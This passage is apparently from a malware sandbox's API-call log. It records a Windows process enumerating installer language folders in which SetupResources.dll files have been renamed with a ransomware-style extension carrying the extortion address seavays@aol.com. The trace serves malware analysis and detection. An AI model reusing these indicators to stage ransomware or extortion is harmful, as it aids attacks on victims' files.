dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.936] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.936] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0050.936] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.936] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0050.936] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.936] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605c0 [0050.936] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.936] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.936] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.936] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.937] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x72441bf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x72441bf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7302cc7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.937] FindClose (in: hFindFile=0x42605c0 | out: hFindFile=0x42605c0) returned 1 [0050.937] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.937] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0050.937] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.937] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0050.937] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.937] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.937] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.937] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.937] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7302cc7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7302cc7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.937] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0050.938] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.938] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0050.938] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.938] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0050.938] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.938] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.938] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.938] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.938] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.939] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0050.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.939] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0050.939] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.939] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260180 [0050.942] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.942] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.942] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.942] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.942] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.942] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732902c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x732902c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x732902c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.942] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0050.942] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.942] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0050.943] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.943] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260500 [0050.943] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.943] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.943] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.943] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0050.943] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0050.943] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0050.943] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.943] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0050.943] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.943] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605c0 [0050.944] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.944] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.944] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.944] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, 